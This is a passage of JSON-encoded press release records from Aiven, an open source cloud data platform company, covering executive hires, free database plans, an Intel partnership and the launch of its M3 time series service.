Aiven"}],"markDefs":[],"style":"normal"},{"_key":"5cb3d8d784a4","_type":"block","children":[{"_key":"240739e5d70b0","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Amsterdam, Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto. Aiven provides managed open source data technologies, such as PostgreSQL®, Apache Kafka® and OpenSearch®, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source data technologies that trigger true transformations on a global scale. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab."}],"markDefs":[],"style":"normal"},{"_key":"28c1452321c7","_type":"block","children":[{"_key":"75dd8e35b5960","_type":"span","marks":[],"text":"To learn more about Aiven, visit aiven.io and follow @aiven_io on Twitter."}],"markDefs":[],"style":"normal"},{"_key":"59dda402e889","_type":"block","children":[{"_key":"186e97631d160","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"fb25bc3930f9","_type":"block","children":[{"_key":"12d81168ae9b0","_type":"span","marks":[],"text":"Aiven"}],"markDefs":[],"style":"normal"},{"_key":"82fd28e3be42","_type":"block","children":[{"_key":"7206e4d889320","_type":"span","marks":[],"text":"Ting Ong"}],"markDefs":[],"style":"normal"},{"_key":"fe33662888b8","_type":"block","children":[{"_key":"58f455a993c10","_type":"span","marks":["d692c3d9154b"],"text":"press@aiven.io"}],"markDefs":[{"_key":"d692c3d9154b","_type":"link","href":"mailto:press@aiven.io"}],"style":"normal"}],"publishedAt":"2023-03-08T13:00:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d5aeed21a61ecdc16bc7f53357ecad5fac4feaba-1200x630-jpg","_type":"reference"}}},"slug":{"_type":"slug","current":"/press/aiven-strengthens-leadership-team-with-a-chief-revenue-officer"},"subtitle":"Tech veteran, David Wyatt, joins the executive team to accelerate growth and expand Aiven's market footprint globally to support the demand for the company’s open source cloud data platform\n","title":"Aiven strengthens leadership team with a Chief Revenue Officer"} {"__i18n_lang":"en","_createdAt":"2023-04-09T22:50:24Z","_id":"9d93c92e-6d04-442c-826e-c6591845d5f6","_rev":"gO4PimG2K28q9ZOw6PXZ9j","_type":"pressRelease","_updatedAt":"2023-04-12T12:00:03Z","content":[{"_key":"3e3e9243cf70","_type":"block","children":[{"_key":"11bc098d5c3b0","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — April 12, 2023"},{"_key":"11bc098d5c3b1","_type":"span","marks":[],"text":" — "},{"_key":"11bc098d5c3b2","_type":"span","marks":["bbd8e8f17ca0"],"text":"Aiven"},{"_key":"11bc098d5c3b3","_type":"span","marks":[],"text":", the open source cloud data platform, today announced the launch of free plans for its open source database services, Aiven for PostgreSQL®, Aiven for MySQL, and Aiven for Redis®. These free plans are available to anyone with technical support through a newly launched community forum."}],"markDefs":[{"_key":"bbd8e8f17ca0","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"c52057f95748","_type":"block","children":[{"_key":"ccbb225b57090","_type":"span","marks":[],"text":"“By making our portfolio of open source tools that our customers love accessible to all, we’re enabling the next generation of developers to begin learning and expanding their skill set without having to endure the traditionally high costs,” said Oskari Saarenmaa, Co-Founder and CEO of Aiven. “Providing access to these free plans is another step in realizing Aiven’s vision of democratizing open source technologies, making them available to everyone and reinforcing our commitment to the open source community.”"}],"markDefs":[],"style":"normal"},{"_key":"45c2b2fe9c00","_type":"block","children":[{"_key":"b4b2a45445190","_type":"span","marks":[],"text":"The new free plans from Aiven allow everyone to access the Aiven platform with no commitments or hidden costs. The free plans include many advanced Aiven platform features. These include dedicated instances, daily backups, Terraform integration and more. Once initiated, Aiven free plans can be seamlessly, securely, and automatically upgraded to larger, paid plans as required."}],"markDefs":[],"style":"normal"},{"_key":"7bf59eada666","_type":"block","children":[{"_key":"7c57219c9c5c0","_type":"span","marks":[],"text":"Technical support for Aiven free plans is available through the new Aiven Community Forum, which launches alongside the new plans. The Aiven Community Forum provides a space for developers to discuss and collaborate on the applications and services they are building with open source data technologies. Developers can share what they are building, ask questions, and get support on challenges they are facing from other members of the community and Aiven team members, or Crabs as we like to call them."}],"markDefs":[],"style":"normal"},{"_key":"fe8ec0198f0f","_type":"block","children":[{"_key":"a971db9c06780","_type":"span","marks":[],"text":"“Aiven extending free access to its platform and setting up of a community forum have an impact on far more than just one student or developer looking to learn more about databases,” said Stephen Catanzano, Senior Analyst at Enterprise Strategy Group. “Open source educators and the broader developer community now have greater opportunities to drive awareness to and grow the technology most crucial to our society.”"}],"markDefs":[],"style":"normal"},{"_key":"3d0346664c84","_type":"block","children":[{"_key":"cd5c9a79b3cf0","_type":"span","marks":[],"text":"Learn more about Aiven’s free plans "},{"_key":"cd5c9a79b3cf1","_type":"span","marks":["84861da8cafa"],"text":"here"},{"_key":"cd5c9a79b3cf2","_type":"span","marks":[],"text":" and head to our "},{"_key":"cd5c9a79b3cf3","_type":"span","marks":["b11950c83982"],"text":"community forum"},{"_key":"cd5c9a79b3cf4","_type":"span","marks":[],"text":" to join the discussion today!"}],"markDefs":[{"_key":"84861da8cafa","_type":"link","href":"https://aiven.io/blog/free-plans-postgresql-mysql-redis"},{"_key":"b11950c83982","_type":"link","href":"https://aiven.io/community/forum/"}],"style":"normal"},{"_key":"7025a7af217b","_type":"block","children":[{"_key":"36ebde0cc956","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"16e0193cba37","_type":"block","children":[{"_key":"8d32d0349eac0","_type":"span","marks":["strong"],"text":"Additional Resources"}],"markDefs":[],"style":"normal"},{"_key":"387778ca867d","_type":"block","children":[{"_key":"b8cb5f37c3480","_type":"span","marks":[],"text":"For more information on the different services and plan types available on Aiven, have a look at our "},{"_key":"b8cb5f37c3481","_type":"span","marks":["2d7cd512d9cc"],"text":"plan comparison"},{"_key":"b8cb5f37c3482","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"2d7cd512d9cc","_type":"link","href":"https://aiven.io/pricing?tab=plan-comparison\u0026product=pg"}],"style":"normal"},{"_key":"cbe64b4544d4","_type":"block","children":[{"_key":"a5380467d3e00","_type":"span","marks":[],"text":"Get access to our comprehensive guide to the latest tools and resources in open source technology here in our "},{"_key":"a5380467d3e01","_type":"span","marks":["83bd0d820dad"],"text":"Aiven Developer Center"},{"_key":"a5380467d3e02","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"83bd0d820dad","_type":"link","href":"https://aiven.io/developer"}],"style":"normal"},{"_key":"cea078881d76","_type":"block","children":[{"_key":"7021bf05ad220","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"1f817024e541","_type":"block","children":[{"_key":"1a672293e3080","_type":"span","marks":[],"text":"###"}],"markDefs":[],"style":"normal"},{"_key":"e194e6914189","_type":"block","children":[{"_key":"9ee575a88fe70","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"f5361e56da4d","_type":"block","children":[{"_key":"1712a0858b870","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"034f68795489","_type":"block","children":[{"_key":"862ee63c17ef0","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Amsterdam, Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto. Aiven provides managed open source data technologies, such as PostgreSQL®, Apache Kafka® and OpenSearch®, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source data technologies that trigger true transformations on a global scale. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab."}],"markDefs":[],"style":"normal"},{"_key":"cc0bb40afa41","_type":"block","children":[{"_key":"4eb12cd139810","_type":"span","marks":[],"text":"To learn more about Aiven, visit "},{"_key":"4eb12cd139811","_type":"span","marks":["a5beca61e135"],"text":"aiven.io"},{"_key":"4eb12cd139812","_type":"span","marks":[],"text":" and follow @aiven_io on Twitter.\n"}],"markDefs":[{"_key":"a5beca61e135","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"4dec5d3f6f26","_type":"block","children":[{"_key":"85eb0c4e01ff0","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"da5c88106fde","_type":"block","children":[{"_key":"c65c4dc09a580","_type":"span","marks":[],"text":"press@aiven.io\n"}],"markDefs":[],"style":"normal"},{"_key":"0720d0c0fb65","_type":"block","children":[{"_key":"2e8db31ca9be0","_type":"span","marks":["em"],"text":"Postgres, PostgreSQL and the Slonik Logo are trademarks or registered trademarks of the PostgreSQL Community Association of Canada, and used with their permission."}],"markDefs":[],"style":"normal"},{"_key":"575d8b5946bd","_type":"block","children":[{"_key":"2b9fef6d24fc0","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-04-12T12:00:00.000Z","slug":{"_type":"slug","current":"/press/aiven-launches-free-plans-for-postgresql-mysql-and-redis"},"subtitle":"Launch of free plans and community forum reinforces commitment to the open source community and is a testament to its vision of democratizing open source technologies\n\n","title":"Aiven launches free plans for PostgreSQL®, MySQL, and Redis® to boost open source adoption and make its platform more accessible"} {"__i18n_lang":"en","_createdAt":"2023-04-18T02:53:44Z","_id":"ee26e9e3-d071-4fcc-8cc9-094b2c23d1fe","_rev":"rm1pG3T7Eds3n9IIU6UEa4","_type":"pressRelease","_updatedAt":"2023-04-20T00:12:46Z","content":[{"_key":"0f8b7dd9ccc6","_type":"block","children":[{"_key":"e1d125b4c1770","_type":"span","marks":["strong"],"text":"SINGAPORE — April 20, 2023 "},{"_key":"e1d125b4c1771","_type":"span","marks":[],"text":"- "},{"_key":"e1d125b4c1772","_type":"span","marks":["a5f2bffda0f1"],"text":"Aiven"},{"_key":"e1d125b4c1773","_type":"span","marks":[],"text":", the open source cloud data platform company, today announced the appointment of Stu Garrow as Vice President (VP) of Asia Pacific (APAC). Stu brings more than three decades of technology leadership and a wealth of enterprise sales experience to Aiven. Based in Singapore, Stu will lead Aiven’s overall business strategy and growth in the APAC region, and focus on sales and channel development, team and market expansion, and engaging customers, partners, and the community to accelerate our journey in the market."}],"markDefs":[{"_key":"a5f2bffda0f1","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"0f369ea36c25","_type":"block","children":[{"_key":"467508e3bc390","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"bd6fdc1c58c1","_type":"block","children":[{"_key":"adbd409de8750","_type":"span","marks":[],"text":"“Stu is a strong, collaborative leader with a proven track record in leading high-achieving, customer-centric teams and building strategic alliances and partnerships in APAC,” said David Wyatt, Chief Revenue Officer, Aiven. “I am confident that his extensive experience and relevant expertise will position us for greater success in the region and capitalize on our significant market opportunity.”"}],"markDefs":[],"style":"normal"},{"_key":"21675fba6ce1","_type":"block","children":[{"_key":"e19ce924cd760","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"b16d4e378553","_type":"block","children":[{"_key":"3b08cb1066f90","_type":"span","marks":[],"text":"“Aiven is supporting some of the world’s most innovative companies, helping them simplify their data infrastructure challenges through our open source data platform to drive cost efficiencies and agility. This is why I am beyond thrilled to be joining a company with such great promise at this period of my career,” said Stu Garrow, Vice President of APAC, Aiven. “I look forward to joining a world-class team, helping business leaders and their organizations continue with their innovation efforts and empower them with the best open source data technology.”"}],"markDefs":[],"style":"normal"},{"_key":"8844387a23c6","_type":"block","children":[{"_key":"79c49091250d0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"586b248db564","_type":"block","children":[{"_key":"1c4a7aca93d70","_type":"span","marks":[],"text":"Prior to Aiven, Stu served as Senior Vice President and General Manager of APAC at Talend, a data integration and data management company. At Talend, Stu led an aggressive growth strategy for one of the company’s fastest-growing regions. Before Talend, he was the first employee at MuleSoft in Asia and was instrumental in establishing and building the different functions, growing the company across the region, and developing the global channels and alliances program."}],"markDefs":[],"style":"normal"},{"_key":"98e0c6412a55","_type":"block","children":[{"_key":"d93aab0354570","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"10875b974085","_type":"block","children":[{"_key":"e7856cdb4a1c0","_type":"span","marks":[],"text":"This latest release follows Aiven’s recent "},{"_key":"e7856cdb4a1c1","_type":"span","marks":["1de42d1ca57d"],"text":"announcement"},{"_key":"e7856cdb4a1c2","_type":"span","marks":[],"text":" to offer free plans for three of its databases and technical support through the newly launched Aiven Community Forum."}],"markDefs":[{"_key":"1de42d1ca57d","_type":"link","href":"https://aiven.io/press/aiven-launches-free-plans-for-postgresql-mysql-and-redis"}],"style":"normal"},{"_key":"1b84ac5a3c7e","_type":"block","children":[{"_key":"adbeedc036480","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"ee210af3fc3e","_type":"block","children":[{"_key":"7fde468e1ad00","_type":"span","marks":[],"text":"To learn more about Aiven, please visit "},{"_key":"7fde468e1ad01","_type":"span","marks":["d2d8d033498c"],"text":"https://aiven.io"}],"markDefs":[{"_key":"d2d8d033498c","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"7f18d1eb935c","_type":"block","children":[{"_key":"90ed74936cf70","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"ab4b5e6cbc7f","_type":"block","children":[{"_key":"4cc00e1e6ab80","_type":"span","marks":[],"text":"###"}],"markDefs":[],"style":"normal"},{"_key":"59d4c70f9aa5","_type":"block","children":[{"_key":"d00b3ad183fd0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"36ac9354bbad","_type":"block","children":[{"_key":"c7998d3c5a740","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"0ac42a47999d","_type":"block","children":[{"_key":"38214c25b3c90","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"d884ba09ca9e","_type":"block","children":[{"_key":"552d0270af130","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto, Aiven provides managed open source data technologies, like PostgreSQL, Apache Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab."}],"markDefs":[],"style":"normal"},{"_key":"45a6d21bb6a4","_type":"block","children":[{"_key":"7f7b70e404910","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"aaed196e2e83","_type":"block","children":[{"_key":"e83fa0d4a1370","_type":"span","marks":[],"text":"To learn more about Aiven, visit "},{"_key":"e83fa0d4a1371","_type":"span","marks":["4ff4fb118005"],"text":"aiven.io"},{"_key":"e83fa0d4a1372","_type":"span","marks":[],"text":" and follow "},{"_key":"e83fa0d4a1373","_type":"span","marks":["59881db18274"],"text":"@aiven_io"},{"_key":"e83fa0d4a1374","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"4ff4fb118005","_type":"link","href":"https://aiven.io/"},{"_key":"59881db18274","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"189c95de536b","_type":"block","children":[{"_key":"0f0360a68a460","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"69cd7c6c4f96","_type":"block","children":[{"_key":"8934cd02fbed0","_type":"span","marks":["strong"],"text":"Media Contacts:"}],"markDefs":[{"_key":"2e005815b455","_type":"link","href":"mailto:press@aiven.io"}],"style":"normal"},{"_key":"932b0eea25a0","_type":"block","children":[{"_key":"8934cd02fbed1","_type":"span","marks":["2e005815b455"],"text":"press@aiven.io"}],"markDefs":[{"_key":"2e005815b455","_type":"link","href":"mailto:press@aiven.io"}],"style":"normal"},{"_key":"6d177076e01e","_type":"block","children":[{"_key":"02d49b357ded0","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-04-20T00:00:00.000Z","slug":{"_type":"slug","current":"/press/aiven-welcomes-new-APAC-vp-to-drive-strategic-growth-in-region"},"subtitle":"Former Talend and MuleSoft APAC leader joins Aiven to scale market impact across the region and empower business leaders to accelerate innovation with Aiven platform ","title":"Aiven welcomes new regional VP to drive strategic growth in Asia Pacific"} {"__i18n_lang":"en","_createdAt":"2023-04-18T02:50:36Z","_id":"b376c445-619b-4000-aeeb-56aa264c7201","_rev":"Dk2WL9Nm5dkJcEBiWO0nav","_type":"pressRelease","_updatedAt":"2023-04-18T02:50:36Z","content":[{"_key":"79872ec190c6","_type":"block","children":[{"_key":"7248269005fc0","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — April 18, 2023"},{"_key":"7248269005fc1","_type":"span","marks":[],"text":" — "},{"_key":"7248269005fc2","_type":"span","marks":["19382177ceed"],"text":"Aiven"},{"_key":"7248269005fc3","_type":"span","marks":[],"text":", the open source cloud data platform, today announced it has been selected to join the "},{"_key":"7248269005fc4","_type":"span","marks":["b03d5a7aca49"],"text":"Intel Disruptor Initiative"},{"_key":"7248269005fc5","_type":"span","marks":[],"text":". Through this strategic collaboration with Intel, Aiven aims to advance the performance of all the open source technologies that it offers on its platform such as Apache Kafka®, PostgreSQL®, and OpenSearch® and focus on delivering the most value for customers by optimizing the performance of these open source technologies at the lower cost. The Intel Disruptor Initiative is an invite-only program comprised of high-growth companies driving innovation with support from Intel on go-to-market activities and technology collaboration. As part of the initiative, Aiven will also focus on bringing high-performance open source technologies to the community and customers to promote the usage of open source."}],"markDefs":[{"_key":"19382177ceed","_type":"link","href":"https://aiven.io/"},{"_key":"b03d5a7aca49","_type":"link","href":"https://www.intel.com/content/www/us/en/partner-alliance/membership/select-benefit/disruptors/overview.html"}],"style":"normal"},{"_key":"d8a72ac4fe69","_type":"block","children":[{"_key":"0c05d734e9af0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"8698dc11bb5e","_type":"block","children":[{"_key":"b24d20dcd7b30","_type":"span","marks":[],"text":"Aiven has unique capabilities to run open source services like Kafka, PostgreSQL, and OpenSearch on all major clouds including AWS, Google Cloud, and Azure. The collaboration will enable Aiven to benchmark performance of its open source technologies across these cloud providers to deliver optimal performance using the Intel Xeon Scalable processors and software with built-in accelerators. With cloud companies consuming a mass amount of energy, about "},{"_key":"b24d20dcd7b31","_type":"span","marks":["305b7eae7c9c"],"text":"1%"},{"_key":"b24d20dcd7b32","_type":"span","marks":[],"text":" of the world's electricity, there’s never been a better time to prioritize sustainability. Through the Intel Disruptor Initiative, Aiven aims to promote sustainable energy usage in partnership with Intel, to create energy efficient processing power and optimized operations on Intel architecture."}],"markDefs":[{"_key":"305b7eae7c9c","_type":"link","href":"https://spectrum.ieee.org/cloud-computings-coming-energy-crisis"}],"style":"normal"},{"_key":"084c4a7cfd95","_type":"block","children":[{"_key":"8e9e117c55d80","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"9336dec2518b","_type":"block","children":[{"_key":"e509486e94780","_type":"span","marks":[],"text":"“For Aiven to be a part of this initiative speaks to the importance of bringing open source technologies to the larger community and help drive innovation across the industry,” said Heikki Nousiainen, CTO and Co-Founder of Aiven. “The collaboration with Intel will allow us to provide the best open source solutions possible at the best performance with low cost, opening up the opportunity for more companies to utilize open source data technologies and drive true transformation from within.”"}],"markDefs":[],"style":"normal"},{"_key":"802493314b37","_type":"block","children":[{"_key":"fba18ae063580","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"1bdd5c16aa45","_type":"block","children":[{"_key":"5afbde5fb61a0","_type":"span","marks":[],"text":"“Intel is working to remove the typical hurdles customers face with open-source technologies by providing TCO and performance optimized, energy efficient processing power, in-silicon accelerators, and latest infrastructure and software on Intel Architecture,” said Arijit Bandyopadhyay, CTO – Enterprise Analytics and AI, Head of Strategy – Cloud \u0026 Enterprise DCAI Group at Intel. “By working with outstanding companies like Aiven through the Intel Disruptor Initiative, we continue to improve and increase contributions to the open-source community and see open-source solution development and optimized delivery on Intel Architecture as a staple to innovation advancing these goals for the industry.”"}],"markDefs":[],"style":"normal"},{"_key":"5bb64e3860b5","_type":"block","children":[{"_key":"e1036d91e39c0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"45d223becb91","_type":"block","children":[{"_key":"a31f546fb9060","_type":"span","marks":[],"text":"Alongside the upcoming sustainability collaboration planned with Intel, Aiven currently runs and operates an internal sustainability and social impact team. Through this team, Aiven is aiming to build a world where open source technology is developed by everyone, for everyone – with the good of the people and the environment in mind. Aiven’s participation in the Intel Disruptor Initiative advances the company’s ability to act on this promise in the coming years."}],"markDefs":[],"style":"normal"},{"_key":"2a254a429daa","_type":"block","children":[{"_key":"b6760fd5337d0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"bac7a7b0edf0","_type":"block","children":[{"_key":"5f8dbfc2890d0","_type":"span","marks":[],"text":"To learn more about Aiven, please visit "},{"_key":"5f8dbfc2890d1","_type":"span","marks":["2aaa2aee0469"],"text":"https://aiven.io/"},{"_key":"5f8dbfc2890d2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"2aaa2aee0469","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"c85134c3bbac","_type":"block","children":[{"_key":"bbd832a8c7010","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"},{"_key":"6ac1ccfd6457","_type":"block","children":[{"_key":"e486999fd3f80","_type":"span","marks":["strong"],"text":"Additional Resources"}],"markDefs":[],"style":"normal"},{"_key":"782e645e1da6","_type":"block","children":[{"_key":"2ca750424a070","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"6495bd7acea7","_type":"block","children":[{"_key":"3ea34af5574b0","_type":"span","marks":[],"text":"Catch our on-demand webinar on “"},{"_key":"3ea34af5574b1","_type":"span","marks":["em"],"text":"Evaluating Your Event Streaming Needs the Software Architect Way"},{"_key":"3ea34af5574b2","_type":"span","marks":[],"text":"\" "},{"_key":"3ea34af5574b3","_type":"span","marks":["a84a7bfe57e8"],"text":"here"},{"_key":"3ea34af5574b4","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a84a7bfe57e8","_type":"link","href":"https://www.youtube.com/watch?v=hJRzRDcsb5w"}],"style":"normal"},{"_key":"9dd2c4bcc20c","_type":"block","children":[{"_key":"38270bc85c3e0","_type":"span","marks":[],"text":"Learn more about Aiven’s sustainability "},{"_key":"38270bc85c3e1","_type":"span","marks":["32c5aada8f42"],"text":"initiative"},{"_key":"38270bc85c3e2","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"32c5aada8f42","_type":"link","href":"https://aiven.io/sustainability"}],"style":"normal"},{"_key":"f48e8f604edf","_type":"block","children":[{"_key":"c3f7c8fdfcec0","_type":"span","marks":[],"text":"Become part of the Aiven "},{"_key":"c3f7c8fdfcec1","_type":"span","marks":["6cd4db670cc7"],"text":"community"},{"_key":"c3f7c8fdfcec2","_type":"span","marks":[],"text":" and share knowledge on the open source tech, data infrastructure management, or data architecture."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"6cd4db670cc7","_type":"link","href":"https://aiven.io/community"}],"style":"normal"},{"_key":"7f3d698b5429","_type":"block","children":[{"_key":"19d1f27cdf610","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"},{"_key":"537e6bc9a1d8","_type":"block","children":[{"_key":"d6e904878bf80","_type":"span","marks":[],"text":"###"}],"markDefs":[],"style":"normal"},{"_key":"78a76b754145","_type":"block","children":[{"_key":"d6a0313c105e0","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"3411aec4fcaf","_type":"block","children":[{"_key":"98d27ed0417b0","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Amsterdam, Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto. Aiven provides managed open source data technologies, such as PostgreSQL®, Apache Kafka® and OpenSearch®, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source data technologies that trigger true transformations on a global scale. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab."}],"markDefs":[],"style":"normal"},{"_key":"22d1d2bd81c4","_type":"block","children":[{"_key":"d6daf84bd12f0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"24057ed70554","_type":"block","children":[{"_key":"62cb0e5f89960","_type":"span","marks":[],"text":"To learn more about Aiven, visit aiven.io and follow @aiven_io on Twitter."}],"markDefs":[],"style":"normal"},{"_key":"63b7e179f0b9","_type":"block","children":[{"_key":"7e26a2ef68980","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"},{"_key":"468126e69d16","_type":"block","children":[{"_key":"32b84aeceddd0","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"84919c29e65a","_type":"block","children":[{"_key":"61eef46ead5e0","_type":"span","marks":["b4beab76246d"],"text":"press@aiven.io"}],"markDefs":[{"_key":"b4beab76246d","_type":"link","href":"mailto:press@aiven.io"}],"style":"normal"},{"_key":"0c7083daabef","_type":"block","children":[{"_key":"ddadb2e668bc0","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"},{"_key":"998e977bbfd5","_type":"block","children":[{"_key":"109759d605260","_type":"span","marks":["em"],"text":"Apache® and Apache Kafka® Kafka are either registered trademarks or trademarks of the Apache Software Foundation in the United States and/or other countries. No endorsement by the Apache Software Foundation is implied by the use of these marks. All other trademarks are the property of their respective owners"},{"_key":"109759d605261","_type":"span","marks":[],"text":"."}],"markDefs":[],"style":"normal"},{"_key":"d163c017abc1","_type":"block","children":[{"_key":"2bc5bd70ffef0","_type":"span","marks":["em"],"text":"Postgres, PostgreSQL and the Slonik Logo are trademarks or registered trademarks of the PostgreSQL Community Association of Canada, and used with their permission."}],"markDefs":[],"style":"normal"},{"_key":"f727da7097a9","_type":"block","children":[{"_key":"59f1dbd64df40","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-04-18T12:00:06.407Z","slug":{"_type":"slug","current":"/press/aiven-joins-intel-disruptor-program-drive-open-source-innovation"},"subtitle":"Intel and Aiven team up to advance open source adoption and increase technology collaboration as part of partnership program\n","title":"Aiven joins Intel Disruptor Program to drive innovation in open source landscape"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"5P0Kpewwq54ZTwlBTPNAX9","_rev":"7zkUzK17nyKradHQJFpRml","_type":"pressRelease","_updatedAt":"2023-05-15T13:16:40Z","body":"__Helsinki, Finland__\n\n[Aiven](https://aiven.io/), a leading technology company that combines the best open-source technologies with cloud infrastructure, announced its 11th managed service, Aiven for M3. With a unique and purpose-built architecture, M3 enables large-scale time series workloads. Likewise, it will be the first of its kind as a managed service: an open-source, highly-available, horizontally-scalable time series database that opens new possibilities for all organizations, regardless of their size.\n\n“Launching Aiven for M3 reflects our promise to provide Aiven customers the latest, most advanced technologies that’ll enable them to not only strengthen their respective business processes and use cases, but to evolve them,” said Hannu Valtonen, co-founder and chief product officer at Aiven. “What’s more, Aiven for M3 could be to time series data what Aiven for Apache Kafka was to data streaming, that providing accessible tech will increase the speed at which we push the underlying use case forward.”\n\nData volumes continue to balloon as forward-looking concepts and technologies like IoT and containerization are created and developed, revealing a growing market appetite for a time series database to manage the data scale and complexity rooted in monitoring and analytics workloads.\n\nBuilt to handle Uber’s massive scale, M3’s battle-tested capabilities were what initially piqued Aiven’s interest in the technology because its own growth required a stronger monitoring backbone for the customer nodes under its management, which have grown exponentially — fivefold in the last year alone.\n\n\"The exponential growth of our business and the underlying operations metrics and monitoring infrastructure that is critical to our fully-automated, self-healing functionality requires a robust solution, said Aiven VP of Tech Ops Mika Eloranta. “We selected M3 because it’s truly Open Source, properly implements clustering, and is highly adaptable to various high-throughput, real-world use cases.”\n\nThis virtuous circle, whereby Aiven can improve its service offering with the very tech that it provides as managed services means that its customers have unmatched access to a cohesive mix of advanced open-source tech that can be used to develop comprehensive solutions to evolving data challenges.\n\nAiven for M3 exemplifies this with out-of-box support for Prometheus, InfluxDB and Graphite protocols, integrations with popular visualization and metrics platforms such as Grafana, Prometheus and Jolokia, and advanced features such as multi-az placement, Terraform support and VPC peering.\n\nCurrently in Beta, Aiven for M3 will be generally available in mid-November.\n\nTo learn more about Aiven for M3, visit: [Aiven for M3](https://aiven.io/m3).\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Berlin, Germany and Sydney, Australia and Boston, MA, Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io/) for more information or follow Aiven on Twitter: [@aiven_io.](https://twitter.com/aiven_io)","content":[{"_key":"MEg3mX4E","_type":"block","children":[{"_key":"0e0fbca90c1f","_type":"span","marks":["strong"],"text":"HELSINKI, 